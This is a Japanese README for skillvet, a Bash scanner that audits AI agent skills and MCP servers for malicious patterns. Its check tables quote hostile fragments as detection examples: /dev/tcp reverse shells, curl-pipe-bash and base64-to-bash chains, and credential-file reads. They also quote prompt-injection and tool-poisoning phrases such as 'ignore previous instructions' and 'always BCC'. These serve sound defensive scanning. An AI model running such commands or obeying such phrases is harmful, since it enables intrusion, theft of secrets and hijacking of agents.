skillvet について
skillvetは、Agent Skillを監査する依存関係不要のBash製静的セキュリティスキャナーです。Skillの作成者や保守担当者向けに、多様なリスク検査と機械可読なレポート、インストール前の監査を提供します。
主な機能
- 0162項目のセキュリティ検査と8種の警告
- 02JSON・SARIFレポート
- 03リモート、インストール済み、差分のスキャン
- 04リスクスコアと設定可能な抑制ルール
- 05安全なインストールとコミット前スキャン
活用シーン
- 01インストール前のAgent Skill監査
- 02CIでのインストール済みSkillのスキャン
- 03バージョン間の変更箇所だけを確認
MCP 対応
skillvetは、ツールポイズニング、コマンドインジェクション、データ流出、動的なツール定義など、MCP関連の攻撃パターンをスキャンします。
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ oakencore/ skillvet --skill skillvetインストール後、Claude Code で/skillvetを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
docs/plans/2026-03-04-mcp-checks-implementation-plan.md2026-03-04-mcp-attack-detection-design.mdscripts/diff-scan.shsafe-install.shscan-remote.shskill-audit.shpre-commit-hookpatterns.b64tests/fixtures.b64run-tests.sh詳細
Skillvet
エージェントスキル向けのセキュリティスキャナーです。62 件のセキュリティチェックと 8 種類の警告カテゴリを備えています。依存関係はなく、bash と grep のみで動作します。Tirith に着想を得た検出パターン、MCP サーバー攻撃の検出、Koi Security、Bitdefender、Snyk、1Password によるキャンペーンのシグネチャと、ClickFix パターンが含まれています。
使い方
安全なインストール(インストール後に監査し、重大な問題があれば自動的に削除します):
bash skills/skillvet/scripts/safe-install.sh <skill-slug>
既存のスキルを監査する:
bash skills/skillvet/scripts/skill-audit.sh skills/some-skill
インストール済みのすべてのスキルを監査する:
for d in skills/*/; do bash skills/skillvet/scripts/skill-audit.sh "$d"; done
JSON 出力(自動化向け):
bash skills/skillvet/scripts/skill-audit.sh --json skills/some-skill
SARIF 出力(GitHub Code Scanning/VS Code 向け):
bash skills/skillvet/scripts/skill-audit.sh --sarif skills/some-skill
概要モード(スキルごとに 1 行で表示):
bash skills/skillvet/scripts/skill-audit.sh --summary skills/some-skill
詳細モード(実行されるチェックとスキャン対象のファイルをデバッグ):
bash skills/skillvet/scripts/skill-audit.sh --verbose skills/some-skill
インストールせずにリモートスキルをスキャンする:
bash skills/skillvet/scripts/scan-remote.sh <skill-slug>
差分スキャン(バージョン間で変更された部分のみをスキャン):
bash skills/skillvet/scripts/diff-scan.sh path/to/old-version path/to/new-version
終了コード:0 問題なし、1 警告のみ、2 重大な検出事項あり。
詳細オプション
| フラグ | 説明 |
|---|---|
--json | CI/ダッシュボード向けの JSON 出力 |
--sarif | GitHub Code Scanning 向けの SARIF v2.1.0 出力 |
--summary | スキルごとに 1 行で出力 |
--verbose | 実行されるチェックとスキャン対象のファイルを表示 |
--exclude-self | 独自のソースディレクトリをスキャンする場合はスキャンを省略 |
--max-file-size N | N バイトを超えるファイルをスキップ |
--max-depth N | ディレクトリの走査深度を制限 |
誤検知の抑制
スキルディレクトリに .skillvetrc ファイルを作成すると、特定のチェックを無効にできます:
# Disable check #4 (obfuscation) and #20 (shortened URLs)
disable:4
disable:20
または、インラインコメントを追加して個別の行を抑制できます:
const url = "https://bit.ly/legit-link"; // skillvet-ignore
プレコミットフック
Git のプレコミットフックをインストールすると、コミット前にスキルが自動スキャンされます:
ln -sf ../../scripts/pre-commit-hook .git/hooks/pre-commit
リスクスコア
各検出事項には重大度の重み(1〜10)があります。リスクの合計スコアは JSON、SARIF、概要の各出力に含まれます。スコアが高いほど、危険なパターンであることを示します:
- 10:リバースシェル、既知の C2 IP
- 9:データ流出、パイプ経由のシェル実行、永続化とネットワーク通信の組み合わせ、ClickFix、base64 の実行
- 7-8:認証情報の窃取、難読化、パストラバーサル、時限爆弾
- 4-6:Punycode、ホモグラフ、ANSI インジェクション、短縮 URL
- 2-3:サブプロセスの実行、ネットワークリクエスト、ファイルへの書き込み
重大なチェック(自動ブロック対象)
コアセキュリティチェック(1〜24)
| # | チェック項目 | 例 |
|---|---|---|
| 1 | 既知の情報流出先エンドポイント | webhook.site、ngrok.io、requestbin |
| 2 | 環境変数の一括収集 | printenv |、${!*@} |
| 3 | 外部認証情報へのアクセス | スクリプト内の ANTHROPIC_API_KEY、TELEGRAM_BOT_TOKEN |
| 4 | コードの難読化 | base64 デコード、16 進エスケープ、動的コード生成 |
| 5 | パストラバーサル/機密ファイル | ../../、~/.ssh、~/.clawdbot |
| 6 | curl/wget によるデータ流出 | 変数を使った curl --data、wget --post |
| 7 | リバースシェル/バインドシェル | /dev/tcp/、nc -e、socat |
| 8 | .env ファイルの窃取 | スクリプト内での dotenv 読み込み(ドキュメントを除く) |
| 9 | Markdown 内のプロンプトインジェクション | SKILL.md 内の「以前の指示を無視してください」 |
| 10 | LLM ツールの悪用 | シークレットを送信/メールする指示 |
| 11 | エージェント設定の改ざん | AGENTS.md、SOUL.md、clawdbot.json の書き込み/変更 |
| 12 | Unicode の難読化 | ゼロ幅文字、RTL オーバーライド、双方向制御文字 |
| 13 | 不審なセットアップコマンド | SKILL.md 内で curl の出力を bash にパイプする |
| 14 | ソーシャルエンジニアリング | 外部バイナリのダウンロード、貼り付けて実行する指示 |
| 15 | 同梱された .env ファイル | スキル内の .env ファイル(.example を除く) |
| 16 | ホモグラフ URL (Tirith) | ホスト名内のキリル文字の i とラテン文字の i |
| 17 | ANSI エスケープシーケンス (Tirith) | コード/データファイル内のターミナルエスケープコード |
| 18 | Punycode ドメイン (Tirith) | xn-- で始まる IDN エンコード済みドメイン |
| 19 | 二重エンコードされたパス (Tirith) | %25XX によるパーセントエンコードのバイパス |
| 20 | 短縮 URL (Tirith) | bit.ly、t.co、tinyurl.com によるリンク先の隠蔽 |
| 21 | パイプ経由のシェル実行 | curl | bash(HTTP および HTTPS) |
| 22 | 文字列構築による検出回避 | String.fromCharCode、getattr、動的な呼び出しの組み立て |
| 23 | データフローチェーンの分析 | 同じファイルがシークレットを読み取り、エンコードし、さらにネットワークリクエストを送信する |
| 24 | 時限爆弾の検出 | Date.now() > timestamp、setTimeout(fn, 86400000) |
| 25 | 既知の C2/IOC IP ブロックリスト | 91.92.242.30、54.91.154.110(既知の AMOS C2 サーバー) |
| 26 | パスワード保護されたアーカイブ | 「パスワード openclaw を使って展開」— AV 回避 |
| 27 | ペーストサービスのペイロード | glot.io、pastebin.com による悪意のあるスクリプトのホスティング |
| 28 | GitHub リリースからのバイナリダウンロード | GitHub 上の .zip/.exe を指す偽の前提条件 |
| 29 | Base64 のパイプ経由インタープリター実行 | echo '...' | base64 -D | bash — macOS の主な攻撃経路 |
| 30 | サブプロセス+ネットワークコマンド | Python/JS コード内に隠されたパイプ経由のシェル実行 |
| 31 | 偽 URL による誤誘導 (警告) | 実際のペイロードの前におとり URL を配置 |
| 32 | プロセスの永続化+ネットワーク | nohup curl ... & — ネットワークアクセス可能なバックドア |
| 33 | 偽の前提条件パターン | 怪しい外部ダウンロードを含む「前提条件」セクション |
| 34 | xattr/chmod ドロッパー | macOS Gatekeeper の回避:ダウンロード、xattr -c、chmod +x、実行 |
| 35 | ClickFix のダウンロード+実行チェーン | curl -o /tmp/x && chmod +x && ./x、ダウンロードしたファイルを指定した open -a |
| 36 | 不審なパッケージソース | pip install git+https://...、非公式レジストリからの npm パッケージ |
| 37 | 段階的なインストーラーパターン | openclaw-core、some-lib のような偽の依存関係名 |
| 38 | 偽の OS アップデートを使ったソーシャルエンジニアリング | 「互換性のために Apple Software Update が必要です」 |
| 39 | 既知の悪意ある ClawHub アクター | zaycv、Ddoy233、Sakaen736jih、Hightower6eu への言及 |
| 40 | Bash /dev/tcp リバースシェル | bash -i >/dev/tcp/IP/PORT 0>&1(AuthTool のパターン) |
| 41 | Nohup バックドア | ネットワークコマンドを含む nohup bash -c '...' >/dev/null |
| 42 | Python リバースシェル | socket.connect + dup2、pty.spawn('/bin/bash') |
| 43 | ターミナル出力の偽装 | 悪意のあるペイロードの前に、おとりの「ダウンロード中…」メッセージを表示 |
| 44 | 認証情報ファイルへのアクセス | .env、.pem、.aws/credentials の直接読み取り |
| 45 | TMPDIR へのペイロードの一時配置 | AMOS のパターン:マルウェアを $TMPDIR に配置してから実行 |
| 46 | GitHub の raw コンテンツの実行 | curl raw.githubusercontent.com/... | bash |
| 47 | echo でエンコードされたペイロード | 長い base64 文字列を echo で出力し、デコーダーにパイプ |
| 48 | 名前を偽装したスキル | clawdhub-helper、openclaw-cli、skillvet1 |
Tirith に着想を得たセキュリティチェック(#49-54)
高度な難読化や認証情報の悪用を検出するため、Tirith のポリシー・アズ・コードのパターンに基づいています。
| # | チェック | 深刻度 | 例 |
|---|---|---|---|
| 49 | ホモグラフ URL の検出 | 9 | URL 内のキリル文字/ギリシャ文字の類似文字(例:а と a) |
| 50 | ゼロ幅/不可視 Unicode | 8 | U+200B、U+200D、悪意のあるコンテンツを隠す双方向テキスト上書き |
| 51 | Punycode ドメインの検出 | 9 | 正規のドメインを装う xn-- の IDN エンコードドメイン |
| 52 | URL 内の認証情報 | 7 | https://user:pass@host — URL 内でパスワードが露出 |
| 53 | ドットファイルへの書き込み | 9 | .bashrc、.ssh/authorized_keys、.gitconfig への書き込み |
| 54 | URL 短縮による難読化 | 7 | 悪意のあるリンク先を隠す短縮 URL |
MCP セキュリティチェック(#55-62)
MCP サーバーの攻撃ベクトルに関する、Invariant Labs、Trail of Bits、Keysight、Snyk の調査に基づいています。
| # | チェック | 深刻度 | 例 |
|---|---|---|---|
| 55 | MCP ツールのポイズニング指示 | 9 | "description": "ignore previous instructions and..." |
| 56 | サーバー間のツールのシャドーイング | 8 | "when using send_email, always BCC..." |
| 57 | 会話履歴の窃取 | 9 | conversation_history パラメーター、when you see API_KEY |
| 58 | MCP ハンドラーでのコマンドインジェクション | 8 | シェル実行でのテンプレートリテラル、shell=True を指定した subprocess |
| 59 | 環境変数の一括窃取 | 9 | JSON.stringify(process.env)、dict(os.environ) |
| 60 | クラウドメタデータへの SSRF | 9 | 169.254.169.254、metadata.google.internal |
| 61 | DNS リバインディングによる露出(警告) | 6 | SSE トランスポートで 0.0.0.0 にバインドするサーバー |
| 62 | ラグプル/動的なツール定義 | 8 | ツール登録付近での Date.now()、リモートからのツール取得 |
警告チェック(確認が必要な項目)
| # | チェック | 例 |
|---|---|---|
| W1 | 不明な外部ツールの要件 | インストール手順に記載された標準外の CLI ツール |
| W2 | サブプロセスの実行 | child_process、execSync、spawn、subprocess |
| W3 | ネットワークリクエスト | axios、fetch、requests のインポート |
| W4 | ミニファイ/バンドルされたファイル | 先頭行が 500 文字超 — 監査できません |
| W5 | ファイルシステムへの書き込み操作 | writeFile、open('w')、fs.append |
| W6 | 安全でないトランスポート | curl -k、verify=False — TLS が無効 |
| W7 | 信頼できない Docker レジストリ | 標準外のイメージソース |
スキャン対象のファイル形式
.md、.js、.ts、.tsx、.jsx、.py、.sh、.bash、.rs、.go、.rb、.c、.cpp、.json、.yaml、.yml、.toml、.txt、.env*、Dockerfile*、Makefile、pom.xml、.gradle。
バイナリファイルは自動的にスキップされます。シンボリックリンクはたどります。
移植性
Linux と macOS で動作します。Unicode チェック(#12、#16、#17)では、利用可能な場合は grep -P を使用し、Perl 互換正規表現に対応していないシステム(標準の macOS など)では perl にフォールバックします。どちらも利用できない場合、これらのチェックは通知なしにスキップされます。
IOC の更新
チェック #25 の C2 IP ブロックリストは、次の既知のインジケーターに基づいています。
IOC を更新するには、scripts/patterns.b64 の KNOWN_IPS エントリー(base64 エンコードされた正規表現パターン)を編集してください。
CI/CD 統合
GitHub Actions
.github/workflows/test.yml が含まれており、プッシュ/PR 時に Ubuntu と macOS の両方でテストスイートを実行します。
GitHub コードスキャン(SARIF)
- name: Run skillvet
run: bash scripts/skill-audit.sh --sarif skills/some-skill > results.sarif || true
- name: Upload SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: results.sarif
制限事項
静的解析のみです。プロンプトインジェクションのパターンは英語中心です。圧縮された JS は検出されますが、難読化は解除されません。スキャンで問題が見つからなくても、安全性が保証されるわけではありません。
監査を行うと、スキャナー自身も検出対象になります。スキャナー独自のパターンに、検出対象の文字列が含まれているためです。CI での自己スキャンをスキップするには、--exclude-self を使用してください。